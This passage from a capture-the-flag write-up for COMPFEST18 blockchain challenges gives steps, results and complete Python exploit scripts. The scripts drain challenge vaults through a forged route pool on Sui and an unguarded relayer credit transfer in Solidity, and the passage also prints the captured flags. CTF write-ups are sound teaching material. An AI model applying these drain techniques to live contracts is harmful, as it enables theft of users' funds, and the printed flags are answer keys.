            &quot;maxFeePerGas&quot;: 3 * int(self.call(&quot;eth_gasPrice&quot;, []), 16) + 10 ** 9,
            &quot;maxPriorityFeePerGas&quot;: 10 ** 9,
        }
        if to is None:
            tx.pop(&quot;to&quot;)
        signed = account.sign_transaction(tx)
        h = self.call(&quot;eth_sendRawTransaction&quot;, [&quot;0x&quot; + signed.raw_transaction.hex()])
        for _ in range(120):
            receipt = self.call(&quot;eth_getTransactionReceipt&quot;, [h])
            if receipt:
                status = int(receipt[&quot;status&quot;], 16)
                print(f&quot;  {label:22} status={status} &quot;
                      f&quot;{&#39;contract=&#39; + receipt[&#39;contractAddress&#39;] if receipt.get(&#39;contractAddress&#39;) else &#39;&#39;}&quot;,
                      flush=True)
                if status != 1:
                    raise RuntimeError(f&quot;{label} reverted ({h})&quot;)
                return receipt
            time.sleep(1)
        raise RuntimeError(f&quot;{label}: receipt never arrived&quot;)


def read_address(rpc, to, signature):
    return to_checksum_address(&quot;0x&quot; + rpc.eth_call(to, selector(signature))[-40:])


def compile_impl() -&gt; bytes:
    source = HERE / &quot;Impl.sol&quot;
    for solc in (&quot;solc&quot;, str(Path.home() / &quot;.solcx&quot; / &quot;solc-v0.8.30&quot;)):
        try:
            out = subprocess.run(
                [solc, &quot;--optimize&quot;, &quot;--optimize-runs&quot;, &quot;200&quot;,
                 &quot;--metadata-hash&quot;, &quot;none&quot;, &quot;--bin-runtime&quot;, str(source)],
                capture_output=True, text=True, timeout=300)
        except (FileNotFoundError, subprocess.TimeoutExpired):
            continue
        if out.returncode != 0:
            continue
        seen_impl = False
        for line in out.stdout.splitlines():
            if line.endswith(&quot;:Impl&quot;):
                seen_impl = True
            elif seen_impl and len(line) &gt; 80 and all(c in &quot;0123456789abcdef&quot; for c in line):
                return bytes.fromhex(line)
    pinned = HERE / &quot;impl.hex&quot;
    if pinned.exists():
        return bytes.fromhex(pinned.read_text().strip())
    raise SystemExit(&quot;no solc and no pinned impl.hex&quot;)


def mine_salt(factory: str, initcode: bytes):
    init_hash = keccak(initcode)
    factory_bytes = bytes.fromhex(factory[2:])
    for salt in range(1 &lt;&lt; 24):
        digest = keccak(b&quot;\xff&quot; + factory_bytes + salt.to_bytes(32, &quot;big&quot;) + init_hash)
        if digest[12:14] == b&quot;\x00\x00&quot;:
            return salt, to_checksum_address(&quot;0x&quot; + digest[12:].hex())
    raise RuntimeError(&quot;no vanity salt found&quot;)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;--base&quot;, required=True, help=&quot;&lt;target host, port&gt;&quot;)
    args = parser.parse_args()
    base = args.base.rstrip(&quot;/&quot;)

    session, fields = launch(base)
    rpc = Rpc(fields[&quot;RPC_URL&quot;].replace(&quot;{ORIGIN}&quot;, base))
    account = Account.from_key(fields[&quot;PRIVKEY&quot;])
    setup = to_checksum_address(fields.get(&quot;SETUP_CONTRACT_ADDR&quot;) or fields[&quot;SETUP&quot;])
    print(f&quot;player: {account.address}\nsetup:  {setup}&quot;, flush=True)

    jail = read_address(rpc, setup, &quot;TARGET()&quot;)
    palace = read_address(rpc, setup, &quot;PALACE()&quot;)
    print(f&quot;jail:   {jail}\npalace: {palace}&quot;, flush=True)

    impl_runtime = compile_impl()
    impl_init = deploy_code(impl_runtime)
    print(f&quot;implementation runtime: {len(impl_runtime)} bytes&quot;, flush=True)

    receipt = rpc.send(account, None, deploy_code(FACTORY_RUNTIME), &quot;deploy factory&quot;)
    factory = to_checksum_address(receipt[&quot;contractAddress&quot;])
    print(f&quot;factory: {factory}&quot;, flush=True)

    salt, predicted = mine_salt(factory, impl_init)
    print(f&quot;salt {salt} -&gt; {predicted}&quot;, flush=True)

    rpc.send(account, factory, salt.to_bytes(32, &quot;big&quot;) + impl_init, &quot;deploy impl&quot;)
    if rpc.call(&quot;eth_getCode&quot;, [predicted, &quot;latest&quot;]) in (&quot;0x&quot;, &quot;0x0&quot;):
        raise RuntimeError(&quot;implementation did not land at the mined address&quot;)

    receipt = rpc.send(account, None, deploy_code(agent_runtime(predicted)), &quot;deploy agent&quot;)
    agent = to_checksum_address(receipt[&quot;contractAddress&quot;])
    print(f&quot;agent:   {agent} ({len(agent_runtime(predicted))} bytes)&quot;, flush=True)

    payload = selector(&quot;attack(address)&quot;) + abi_encode([&quot;address&quot;], [jail])
    rpc.send(account, agent, payload, &quot;attack&quot;)

    opened = int(rpc.eth_call(jail, selector(&quot;pathOpened()&quot;)), 16)
    balance = int(rpc.call(&quot;eth_getBalance&quot;, [jail, &quot;latest&quot;]), 16)
    palace_solved = int(rpc.eth_call(palace, selector(&quot;isSolved()&quot;)), 16)
    solved = int(rpc.eth_call(setup, selector(&quot;isSolved()&quot;)), 16)
    print(f&quot;pathOpened={bool(opened)}  jail_balance={balance} wei  &quot;
          f&quot;palace.isSolved={bool(palace_solved)}&quot;, flush=True)
    print(f&quot;Setup.isSolved(): {bool(solved)}&quot;, flush=True)
    if not solved:
        raise SystemExit(&quot;setup did not accept the run&quot;)

    print(&quot;FLAG:&quot;, fetch_flag(session, base))
    return 0


if __name__ == &quot;__main__&quot;:
    sys.exit(main())</code></pre>
<h2 id="final-flag-11">Final Flag</h2>
<pre><code>COMPFEST18{I_guess_bro_here_is_relatively_secure_mirror_flag_you_have_searched_for_0f95fd47}</code></pre><h2 id="13-compfest-coin">13. Compfest Coin</h2>
<h2 id="steps-12">Steps</h2>
<ol>
<li><p>Solve the launcher proof of work, start an instance with <code>POST /launch</code>, and read <code>/data</code> to obtain the RPC URL, the <code>suiprivkey1…</code> key, and the shared object ids.</p>
</li>
<li><p>Read <code>setup.move</code> for the win condition, then confirm on chain that <code>vault.market</code> equals <code>canonical_market&lt;SUIX, USDC&gt;()</code> and that <code>listed_markets</code> contains only <code>direct_market&lt;SUIX, USDC&gt;()</code>.</p>
</li>
<li><p>Execute the following six transactions in order.</p>
<ol>
<li><code>pool::create_route_pool&lt;USDC, SUIX&gt;(REGISTRY, CONFIG, 1, 1000)</code> creates the evil pool. Its direct key, USDC followed by SUIX, is unlisted, while its canonical key is SUIX followed by USDC.</li>
<li><code>registry::register_route_strategy&lt;SUIX, USDC, u64&gt;(REGISTRY, 0u64)</code> forges a <code>RouteStrategy&lt;u64&gt;</code> on the canonical market.</li>
<li><code>pool::open_position&lt;USDC, SUIX&gt;(evil_pool)</code> opens the position object.</li>
<li><code>pool::add_liquidity&lt;USDC, SUIX&gt;(evil_pool, position, 1000, CONFIG)</code> credits <code>shares = 1000</code> with zero assets deposited.</li>
<li><code>vault::claim_route_incentives&lt;USDC, SUIX, u64&gt;(...)</code> moves <code>earned</code> from 0 to 1000 and <code>vault.balance</code> from 1000 to 0.</li>
<li><code>setup::solve(SETUP, ACCOUNT, CONFIG)</code> flips <code>solved</code> from false to <strong>true</strong>.</li>
</ol>
</li>
<li><p>Request <code>GET /flag</code> from the launcher, which now releases the flag.</p>
</li>
</ol>
<p>All six transactions of the verification run succeeded.</p>
<p>The broken invariants were read directly off chain after the run. The attacker pool&#39;s <code>canonical_market</code> is byte-identical to <code>vault.market</code> while its <code>direct_market</code> differs, its <code>quoted_route_score</code> is 1000 against the honest pool&#39;s 1, and its <code>effective_liquidity</code> is 1000 with zero assets deposited. On the accounting side, <code>account.earned</code> moves from 0 to 1000, which clears the <code>bounty_target</code> of 500, <code>vault.balance</code> moves from 1000 to 0, and <code>setup.solved</code> flips from false to true.</p>
<p>The full sequence was replayed on a second, independently launched instance and produced the same result.</p>
<h3 id="exploit-12">Exploit</h3>
<p><code>solve.py</code></p>
<pre><code class="language-python">import base64
import hashlib
import json
import sys
import urllib.request
from pathlib import Path

import nacl.signing


HERE = Path(__file__).resolve().parent
LAUNCH_RESPONSE = HERE / &quot;work&quot; / &quot;launch.json&quot;
EVIDENCE = HERE / &quot;evidence&quot;
ORIGIN = &quot;&lt;target host, port&gt;&quot;


def load_instance():
    data = json.loads(LAUNCH_RESPONSE.read_text())
    if not data.get(&quot;success&quot;):
        raise RuntimeError(f&quot;launcher did not return a live instance: {data}&quot;)

    flat = {}
    for value in data.values():
        if isinstance(value, dict):
            flat.update(value)

    required = {
        &quot;RPC_URL&quot;,
        &quot;PRIVKEY&quot;,
        &quot;WALLET_ADDR&quot;,
        &quot;PACKAGE_ID&quot;,
        &quot;SETUP_ID&quot;,
        &quot;REGISTRY&quot;,
        &quot;VAULT&quot;,
        &quot;POOL&quot;,
        &quot;ACCOUNT&quot;,
        &quot;CONFIG&quot;,
        &quot;ORACLE&quot;,
    }
    missing = required.difference(flat)
    if missing:
        raise RuntimeError(f&quot;missing launcher fields: {sorted(missing)}&quot;)
    flat[&quot;RPC_URL&quot;] = flat[&quot;RPC_URL&quot;].replace(&quot;{ORIGIN}&quot;, ORIGIN)
    return flat


class SuiClient:
    def __init__(self, url, private_key):
        self.url = url
        self.request_id = 0
        seed = self.decode_private_key(private_key)
        self.signing_key = nacl.signing.SigningKey(seed)
        self.public_key = bytes(self.signing_key.verify_key)
        address_hash = hashlib.blake2b(b&quot;\x00&quot; + self.public_key, digest_size=32)
        self.address = &quot;0x&quot; + address_hash.hexdigest()

    @staticmethod
    def decode_private_key(encoded):
        charset = &quot;qpzry9x8gf2tvdw0s3jn54khce6mua7l&quot;
        hrp, separator, payload = encoded.rpartition(&quot;1&quot;)
        if not separator or hrp != &quot;suiprivkey&quot;:
            raise ValueError(&quot;unexpected Sui private-key encoding&quot;)
        values = [charset.index(character) for character in payload]

        generators = [
            0x3B6A57B2,
            0x26508E6D,
            0x1EA119FA,
            0x3D4233DD,
            0x2A1462B3,
        ]

        def polymod(items):
            checksum = 1
            for item in items:
                high = checksum &gt;&gt; 25
                checksum = ((checksum &amp; 0x1FFFFFF) &lt;&lt; 5) ^ item
                for index, generator in enumerate(generators):
                    if (high &gt;&gt; index) &amp; 1:
                        checksum ^= generator
            return checksum

        expanded_hrp = (
            [ord(character) &gt;&gt; 5 for character in hrp]
            + [0]
            + [ord(character) &amp; 31 for character in hrp]
        )
        if polymod(expanded_hrp + values) != 1:
            raise ValueError(&quot;invalid bech32 checksum&quot;)

        accumulator = 0
        bits = 0
        decoded = bytearray()
        for value in values[:-6]:
            accumulator = (accumulator &lt;&lt; 5) | value
            bits += 5
            if bits &gt;= 8:
                bits -= 8
                decoded.append((accumulator &gt;&gt; bits) &amp; 0xFF)

        if len(decoded) != 33 or decoded[0] != 0:
            raise ValueError(&quot;private key is not a 32-byte Ed25519 seed&quot;)
        return bytes(decoded[1:])

    def rpc(self, method, params):
        self.request_id += 1
        body = json.dumps(
            {
                &quot;jsonrpc&quot;: &quot;2.0&quot;,
                &quot;id&quot;: self.request_id,
                &quot;method&quot;: method,
                &quot;params&quot;: params,
            }
        ).encode()
        request = urllib.request.Request(
            self.url,
            data=body,
            method=&quot;POST&quot;,
            headers={&quot;Content-Type&quot;: &quot;application/json&quot;},
        )
        with urllib.request.urlopen(request, timeout=60) as response:
            result = json.loads(response.read())
        if &quot;error&quot; in result:
            raise RuntimeError(f&quot;{method}: {result[&#39;error&#39;]}&quot;)
        return result[&quot;result&quot;]

    def sign(self, transaction_bytes):
        intent_message = b&quot;\x00\x00\x00&quot; + base64.b64decode(transaction_bytes)
        digest = hashlib.blake2b(intent_message, digest_size=32).digest()
        signature = self.signing_key.sign(digest).signature
        serialized = b&quot;\x00&quot; + signature + self.public_key
        return base64.b64encode(serialized).decode()

    def move_call(self, package, module, function, type_args, args, label):
        transaction = self.rpc(
            &quot;unsafe_moveCall&quot;,
            [
                self.address,
                package,
                module,
                function,
                type_args,
                args,
                None,
                &quot;200000000&quot;,
            ],
        )
        transaction_bytes = transaction[&quot;txBytes&quot;]
        result = self.rpc(
            &quot;sui_executeTransactionBlock&quot;,
            [
                transaction_bytes,
                [self.sign(transaction_bytes)],
                {
                    &quot;showEffects&quot;: True,
                    &quot;showEvents&quot;: True,
                    &quot;showObjectChanges&quot;: True,
                    &quot;showInput&quot;: False,
                },
                &quot;WaitForLocalExecution&quot;,
            ],
        )
        status = result[&quot;effects&quot;][&quot;status&quot;]
        print(f&quot;[tx] {label:28s} {result[&#39;digest&#39;]}  {status[&#39;status&#39;]}&quot;)
        if status[&quot;status&quot;] != &quot;success&quot;:
            raise RuntimeError(f&quot;{label} failed: {status}&quot;)
        (EVIDENCE / f&quot;{label}.json&quot;).write_text(json.dumps(result, indent=2))
        return result

    def object_fields(self, object_id):
        result = self.rpc(
            &quot;sui_getObject&quot;,
            [
                object_id,
                {&quot;showContent&quot;: True, &quot;showType&quot;: True, &quot;showOwner&quot;: True},
            ],
        )
        return result[&quot;data&quot;][&quot;content&quot;][&quot;fields&quot;]


def created_object(result, type_fragment):
    for change in result.get(&quot;objectChanges&quot;, []):
        if change.get(&quot;type&quot;) == &quot;created&quot; and type_fragment in change.get(
            &quot;objectType&quot;, &quot;&quot;
        ):
            return change[&quot;objectId&quot;]
    raise RuntimeError(f&quot;no created object matching {type_fragment}&quot;)


def main():
    EVIDENCE.mkdir(exist_ok=True)
    instance = load_instance()
    client = SuiClient(instance[&quot;RPC_URL&quot;], instance[&quot;PRIVKEY&quot;])
    if client.address != instance[&quot;WALLET_ADDR&quot;]:
        raise RuntimeError(&quot;derived address does not match launcher wallet&quot;)

    package = instance[&quot;PACKAGE_ID&quot;]
    suix = f&quot;{package}::assets::SUIX&quot;
    usdc = f&quot;{package}::assets::USDC&quot;

    print(f&quot;[*] RPC:     {instance[&#39;RPC_URL&#39;]}&quot;)
    print(f&quot;[*] package: {package}&quot;)
    print(f&quot;[*] wallet:  {client.address} (key derivation verified)&quot;)

    before = {
        &quot;vault&quot;: client.object_fields(instance[&quot;VAULT&quot;]),
        &quot;account&quot;: client.object_fields(instance[&quot;ACCOUNT&quot;]),
        &quot;config&quot;: client.object_fields(instance[&quot;CONFIG&quot;]),
        &quot;oracle&quot;: client.object_fields(instance[&quot;ORACLE&quot;]),
        &quot;original_pool&quot;: client.object_fields(instance[&quot;POOL&quot;]),
        &quot;setup&quot;: client.object_fields(instance[&quot;SETUP_ID&quot;]),
    }
    print(
        &quot;[*] before:&quot;,
        f&quot;earned={before[&#39;account&#39;][&#39;earned&#39;]}&quot;,
        f&quot;target={before[&#39;config&#39;][&#39;bounty_target&#39;]}&quot;,
        f&quot;vault={before[&#39;vault&#39;][&#39;balance&#39;]}&quot;,
        f&quot;solved={before[&#39;setup&#39;][&#39;solved&#39;]}&quot;,
    )

    result = client.move_call(
        package,
        &quot;pool&quot;,
        &quot;create_route_pool&quot;,
        [usdc, suix],
        [instance[&quot;REGISTRY&quot;], instance[&quot;CONFIG&quot;], &quot;1&quot;, &quot;1000&quot;],
        &quot;01_create_reversed_pool&quot;,
    )
    evil_pool = created_object(result, &quot;pool::RoutePool&quot;)

    result = client.move_call(
        package,
        &quot;registry&quot;,
        &quot;register_route_strategy&quot;,
        [suix, usdc, &quot;u64&quot;],
        [instance[&quot;REGISTRY&quot;], &quot;0&quot;],
        &quot;02_forge_u64_strategy&quot;,
    )
    strategy = created_object(result, &quot;registry::RouteStrategy&quot;)

    result = client.move_call(
        package,
        &quot;pool&quot;,
        &quot;open_position&quot;,
        [usdc, suix],
        [evil_pool],
        &quot;03_open_position&quot;,
    )
    position = created_object(result, &quot;pool::RoutePosition&quot;)

    client.move_call(
        package,
        &quot;pool&quot;,
        &quot;add_liquidity&quot;,
        [usdc, suix],
        [evil_pool, position, &quot;1000&quot;, instance[&quot;CONFIG&quot;]],
        &quot;04_add_free_liquidity&quot;,
    )

    pool_fields = client.object_fields(evil_pool)
    position_fields = client.object_fields(position)
    effective_liquidity = (
        int(position_fields[&quot;shares&quot;])
        * int(pool_fields[&quot;accounted_liquidity&quot;])
        // int(pool_fields[&quot;lp_supply&quot;])
    )
    score = int(pool_fields[&quot;reserve_quote&quot;]) // int(pool_fields[&quot;reserve_base&quot;])
    print(f&quot;[*] forged pool: score={score}, effective_liquidity={effective_liquidity}&quot;)

    client.move_call(
        package,
        &quot;vault&quot;,
        &quot;claim_route_incentives&quot;,
        [usdc, suix, &quot;u64&quot;],
        [
            instance[&quot;VAULT&quot;],
            evil_pool,
            strategy,
            position,
            instance[&quot;ACCOUNT&quot;],
            instance[&quot;ORACLE&quot;],
            instance[&quot;CONFIG&quot;],
        ],
        &quot;05_claim_incentives&quot;,
    )

    client.move_call(
        package,
        &quot;setup&quot;,
        &quot;solve&quot;,
        [],
        [instance[&quot;SETUP_ID&quot;], instance[&quot;ACCOUNT&quot;], instance[&quot;CONFIG&quot;]],
        &quot;06_setup_solve&quot;,
    )

    after = {
        &quot;vault&quot;: client.object_fields(instance[&quot;VAULT&quot;]),
        &quot;account&quot;: client.object_fields(instance[&quot;ACCOUNT&quot;]),
        &quot;setup&quot;: client.object_fields(instance[&quot;SETUP_ID&quot;]),
        &quot;evil_pool&quot;: client.object_fields(evil_pool),
        &quot;position&quot;: client.object_fields(position),
        &quot;created_ids&quot;: {
            &quot;pool&quot;: evil_pool,
            &quot;strategy&quot;: strategy,
            &quot;position&quot;: position,
        },
    }
    print(
        &quot;[*] after:&quot;,
        f&quot;earned={after[&#39;account&#39;][&#39;earned&#39;]}&quot;,
        f&quot;vault={after[&#39;vault&#39;][&#39;balance&#39;]}&quot;,
        f&quot;solved={after[&#39;setup&#39;][&#39;solved&#39;]}&quot;,
    )
    if after[&quot;setup&quot;][&quot;solved&quot;] is not True:
        raise RuntimeError(&quot;setup.solved did not become true&quot;)

    (EVIDENCE / &quot;state_before_after.json&quot;).write_text(
        json.dumps({&quot;before&quot;: before, &quot;after&quot;: after}, indent=2)
    )
    return 0


if __name__ == &quot;__main__&quot;:
    sys.exit(main())</code></pre>
<p><code>launcher.py</code></p>
<pre><code class="language-python">import argparse, base64, json, subprocess, sys, time
from pathlib import Path

import requests

HERE = Path(__file__).resolve().parent
POW_MODULUS = (1 &lt;&lt; 1279) - 1
POW_EXPONENT = 1 &lt;&lt; 1277


def solve_pow(challenge):
    version, difficulty_b64, seed_b64 = challenge.split(&quot;.&quot;)
    if version != &quot;s&quot;:
        raise ValueError(&quot;unsupported proof-of-work version&quot;)
    difficulty = int.from_bytes(base64.b64decode(difficulty_b64), &quot;big&quot;)
    value = int.from_bytes(base64.b64decode(seed_b64), &quot;big&quot;)
    for _ in range(difficulty):
        value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
    size = max((value.bit_length() + 7) // 8, 160)
    return &quot;s.&quot; + base64.b64encode(value.to_bytes(size, &quot;big&quot;)).decode()


def launch(base):
    session = requests.Session()
    challenge = session.get(f&quot;{base}/challenge&quot;, timeout=15).json()[&quot;challenge&quot;]
    difficulty = int.from_bytes(base64.b64decode(challenge.split(&quot;.&quot;)[1]), &quot;big&quot;)
    print(f&quot;proof-of-work: difficulty {difficulty}&quot;, flush=True)
    session.post(f&quot;{base}/solution&quot;, json={&quot;solution&quot;: solve_pow(challenge)},
                 timeout=30).raise_for_status()
    print(&quot;proof-of-work: accepted&quot;, flush=True)
    response = session.post(f&quot;{base}/launch&quot;, timeout=120)
    response.raise_for_status()
    payload = response.json()
    try:
        payload.setdefault(&quot;_data&quot;, session.get(f&quot;{base}/data&quot;, timeout=15).json())
    except requests.RequestException:
        pass
    return session, payload


def flatten(payload):
    out = {}

    def visit(node):
        if isinstance(node, dict):
            for key, value in node.items():
                if isinstance(value, (str, int)):
                    out[key] = value
                else:
                    visit(value)
        elif isinstance(node, list):
            for value in node:
                visit(value)

    visit(payload)
    return out


def fetch_flag(session, base, attempts=3, delay=1):
    for attempt in range(attempts):
        for method in (&quot;post&quot;, &quot;get&quot;):
            response = getattr(session, method)(f&quot;{base}/flag&quot;, timeout=10)
            if response.ok:
                text = response.text
                try:
                    data = response.json()
                    text = json.dumps(data)
                except ValueError:
                    pass
                if &quot;COMPFEST18{&quot; in text:
                    start = text.index(&quot;COMPFEST18{&quot;)
                    return text[start:text.index(&quot;}&quot;, start) + 1]
        if attempt + 1 &lt; attempts:
            time.sleep(delay)
    raise RuntimeError(&quot;launcher did not release a flag&quot;)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;--base&quot;, required=True, help=&quot;&lt;target host, port&gt;&quot;)
    parser.add_argument(&quot;--mode&quot;, choices=[&quot;coin&quot;, &quot;timekeeper&quot;], required=True)
    args = parser.parse_args()
    base = args.base.rstrip(&quot;/&quot;)

    session, payload = launch(base)
    fields = flatten(payload)
    print(&quot;launcher fields:&quot;, sorted(fields), flush=True)

    if args.mode == &quot;coin&quot;:
        work = HERE / &quot;work&quot;
        work.mkdir(exist_ok=True)
        (work / &quot;launch.json&quot;).write_text(json.dumps(payload))
        source = (HERE / &quot;solve.py&quot;).read_text()
        (HERE / &quot;solve.py&quot;).write_text(
            source.replace(&#39;ORIGIN = &quot;&lt;target host, port&gt;&quot;&#39;, f&#39;ORIGIN = &quot;{base}&quot;&#39;))
        command = [sys.executable, str(HERE / &quot;solve.py&quot;)]
    else:
        command = [
            sys.executable, str(HERE / &quot;exploit.py&quot;),
            &quot;--rpc&quot;, fields[&quot;RPC_URL&quot;].replace(&quot;{ORIGIN}&quot;, base),
            &quot;--private-key&quot;, fields[&quot;PRIVKEY&quot;],
            &quot;--setup&quot;, fields.get(&quot;SETUP_CONTRACT_ADDR&quot;) or fields[&quot;SETUP&quot;],
            &quot;--player&quot;, fields[&quot;WALLET_ADDR&quot;],
        ]

    code = subprocess.run(command, cwd=HERE).returncode
    print(&quot;solver exit:&quot;, code, flush=True)
    if code != 0:
        return code
    time.sleep(2)
    print(&quot;FLAG:&quot;, fetch_flag(session, base))
    return 0


if __name__ == &quot;__main__&quot;:
    sys.exit(main())</code></pre>
<h2 id="final-flag-12">Final Flag</h2>
<pre><code>COMPFEST18{Allow_me_to_say_goodbye_to_the_Crypto_World_Today_might_be_the_heaviest_day_for_me_My_hands_are_trembling_as_I_write_this_my_chest_feels_tight_and_my_head_is_full_of_thoughts_The_crypto_world_really_knows_no_mercy_I_have_fought_this_far_hoping_there_would_be_light_at_the_end_of_that_red_chart_But_the_reality_is_Crypto_is_sadistic_and_cruel_Sometimes_it_drains_not_only_your_balance_but_also_your_heart_and_spirit_For_friends_who_have_not_entered_yet_listen_carefully_Do_not_be_reckless_This_world_is_not_a_place_to_just_try_things_Learn_first_understand_the_risks_and_never_put_in_more_than_you_can_afford_to_lose_I_apologize_if_any_of_my_words_have_offended_anyone_here_There_was_never_any_bad_intention_only_the_emotions_of_someone_who_has_endured_the_storm_for_too_long_And_now_I_give_up_I_want_to_rest_Those_of_you_who_are_still_strong_continue_your_struggle_But_for_those_who_also_feel_broken_maybe_it_is_time_for_us_to_CL_together_Alt_season_is_really_over_Thank_you_for_all_the_stories_laughter_and_pain_we_have_shared_here_See_you_in_the_next_life_not_as_a_trader_but_as_a_human_who_has_learned}</code></pre><h2 id="14-phantom-ledger">14. Phantom Ledger</h2>
<h2 id="steps-13">Steps</h2>
<ol>
<li>Solve the launcher proof of work (kctf SLOTH at difficulty 10000, which takes about 13 seconds), send <code>POST /launch</code>, and read <code>/data</code> for <code>RPC_URL</code>, <code>PRIVKEY</code>, <code>SETUP_CONTRACT_ADDR</code> and <code>WALLET_ADDR</code>.</li>
<li>Read <code>Setup.vault()</code> to obtain the deployed <code>PhantomVault</code> address, and confirm that the deployed bytecode matches the handout before trusting the source, by issuing an <code>eth_call</code> of <code>transferCredit</code> from the player (which succeeds) and the same call from an unrelated address (which reverts with <code>execution reverted: Not authorized</code>). This proves that the relayer branch is live on-chain.</li>
<li>Confirm the accounting by checking that <code>balances[Setup] == 10 ether</code>, that <code>address(vault).balance == 10 ether</code> and that <code>vault.relayer() == player</code>.</li>
<li>Send <code>transferCredit(Setup, player, 10e18)</code> from the player account.</li>
<li>Send <code>withdraw(10e18)</code> from the player account.</li>
<li>Assert that <code>address(vault).balance == 0</code> and that <code>Setup.isSolved() == true</code>.</li>
<li>Request <code>GET /flag</code> from the launcher to collect the flag.</li>
</ol>
<p>The verification run produced the following results, with both receipts reporting <code>status = 1</code>:</p>
<pre><code>transferCredit  &lt;TX&gt;  block 2, gas 50177
withdraw        &lt;TX&gt;  block 3, gas 46552

vault ETH balance   10000000000000000000 -&gt; 0
balances[Setup]     10e18 -&gt; 0
player EOA           5 ETH -&gt; 14.9999 ETH
Setup.isSolved()    false -&gt; true</code></pre><p>The exploit was then replayed on a second, independently launched instance, and it produced identical results, so the path is deterministic rather than a one-off state artifact.</p>
<h3 id="exploit-13">Exploit</h3>
<pre><code class="language-python">import argparse
import base64
import time

import requests
from eth_abi import encode
from eth_account import Account
from eth_utils import keccak, to_checksum_address


CREDENTIAL_KEYS = {
    &quot;RPC_URL&quot;,
    &quot;PRIVKEY&quot;,
    &quot;SETUP_CONTRACT_ADDR&quot;,
    &quot;WALLET_ADDR&quot;,
}
POW_MODULUS = (1 &lt;&lt; 1279) - 1
POW_EXPONENT = 1 &lt;&lt; 1277


def solve_pow(challenge):
    version, difficulty_b64, seed_b64 = challenge.split(&quot;.&quot;)
    if version != &quot;s&quot;:
        raise ValueError(&quot;unsupported proof-of-work version&quot;)

    difficulty = int.from_bytes(base64.b64decode(difficulty_b64), &quot;big&quot;)
    value = int.from_bytes(base64.b64decode(seed_b64), &quot;big&quot;)
    for _ in range(difficulty):
        value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)

    size = max((value.bit_length() + 7) // 8, 160)
    encoded = base64.b64encode(value.to_bytes(size, &quot;big&quot;)).decode()
    return f&quot;s.{encoded}&quot;


def extract_credentials(payload, origin):
    found = {}

    def visit(node):
        if isinstance(node, dict):
            for key, value in node.items():
                if key in CREDENTIAL_KEYS and isinstance(value, (str, int)):
                    found[key] = str(value).replace(&quot;{ORIGIN}&quot;, origin.rstrip(&quot;/&quot;))
                else:
                    visit(value)
        elif isinstance(node, list):
            for value in node:
                visit(value)

    visit(payload)
    return found


class JsonRpc:
    def __init__(self, url):
        self.url = url
        self.request_id = 0

    def call(self, method, params):
        self.request_id += 1
        response = requests.post(
            self.url,
            json={
                &quot;jsonrpc&quot;: &quot;2.0&quot;,
                &quot;id&quot;: self.request_id,
                &quot;method&quot;: method,
                &quot;params&quot;: params,
            },
            timeout=20,
        )
        response.raise_for_status()
        body = response.json()
        if &quot;error&quot; in body:
            raise RuntimeError(f&quot;RPC {method} failed: {body[&#39;error&#39;]}&quot;)
        return body[&quot;result&quot;]


def calldata(signature, types=(), values=()):
    return &quot;0x&quot; + (keccak(text=signature)[:4] + encode(types, values)).hex()


def contract_call(rpc, address, data):
    return rpc.call(&quot;eth_call&quot;, [{&quot;to&quot;: address, &quot;data&quot;: data}, &quot;latest&quot;])


def read_address(rpc, address, signature):
    result = contract_call(rpc, address, calldata(signature))
    return to_checksum_address(&quot;0x&quot; + result[-40:])


def read_uint(rpc, address, signature, types=(), values=()):
    result = contract_call(rpc, address, calldata(signature, types, values))
    return int(result, 16)


def wait_receipt(rpc, tx_hash, timeout=45):
    deadline = time.monotonic() + timeout
    while time.monotonic() &lt; deadline:
        receipt = rpc.call(&quot;eth_getTransactionReceipt&quot;, [tx_hash])
        if receipt is not None:
            if int(receipt[&quot;status&quot;], 16) != 1:
                raise RuntimeError(f&quot;transaction reverted: {tx_hash}&quot;)
            return receipt
        time.sleep(0.5)
    raise TimeoutError(f&quot;timed out waiting for transaction: {tx_hash}&quot;)


def send_transaction(rpc, account, private_key, target, data, label):
    chain_id = int(rpc.call(&quot;eth_chainId&quot;, []), 16)
    nonce = int(
        rpc.call(&quot;eth_getTransactionCount&quot;, [account.address, &quot;pending&quot;]), 16
    )
    gas_price = int(rpc.call(&quot;eth_gasPrice&quot;, []), 16)
    estimate = int(
        rpc.call(
            &quot;eth_estimateGas&quot;,
            [{&quot;from&quot;: account.address, &quot;to&quot;: target, &quot;data&quot;: data, &quot;value&quot;: &quot;0x0&quot;}],
        ),
        16,
    )
    transaction = {
        &quot;chainId&quot;: chain_id,
        &quot;nonce&quot;: nonce,
        &quot;to&quot;: target,
        &quot;value&quot;: 0,
        &quot;data&quot;: data,
        &quot;gas&quot;: estimate + estimate // 5 + 10_000,
        &quot;gasPrice&quot;: gas_price,
    }
    signed = Account.sign_transaction(transaction, private_key)
    raw = signed.raw_transaction.hex()
    if not raw.startswith(&quot;0x&quot;):
        raw = &quot;0x&quot; + raw
    tx_hash = rpc.call(&quot;eth_sendRawTransaction&quot;, [raw])
    print(f&quot;{label}: {tx_hash}&quot;, flush=True)
    wait_receipt(rpc, tx_hash)
    return tx_hash


def launch_instance(base_url):
    session = requests.Session()
    challenge_response = session.get(f&quot;{base_url}/challenge&quot;, timeout=10)
    challenge_response.raise_for_status()
    challenge = challenge_response.json()[&quot;challenge&quot;]
    difficulty = int.from_bytes(base64.b64decode(challenge.split(&quot;.&quot;)[1]), &quot;big&quot;)
    print(f&quot;launcher proof-of-work: difficulty {difficulty}&quot;, flush=True)
    solution = solve_pow(challenge)

    solution_response = session.post(
        f&quot;{base_url}/solution&quot;, json={&quot;solution&quot;: solution}, timeout=20
    )
    solution_response.raise_for_status()
    print(&quot;launcher proof-of-work: accepted&quot;, flush=True)

    launch_response = session.post(f&quot;{base_url}/launch&quot;, timeout=60)
    launch_response.raise_for_status()
    launch_payload = launch_response.json()
    credentials = extract_credentials(launch_payload, base_url)
    if CREDENTIAL_KEYS - credentials.keys():
        data_response = session.get(f&quot;{base_url}/data&quot;, timeout=10)
        data_response.raise_for_status()
        credentials.update(extract_credentials(data_response.json(), base_url))
    missing = CREDENTIAL_KEYS - credentials.keys()
    if missing:
        raise RuntimeError(f&quot;launcher omitted credential fields: {sorted(missing)}&quot;)
    print(&quot;launcher instance: running; credentials loaded in memory&quot;, flush=True)
    return session, credentials


def fetch_flag(session, base_url, attempts=3, delay=1):
    statuses = []
    for attempt in range(attempts):
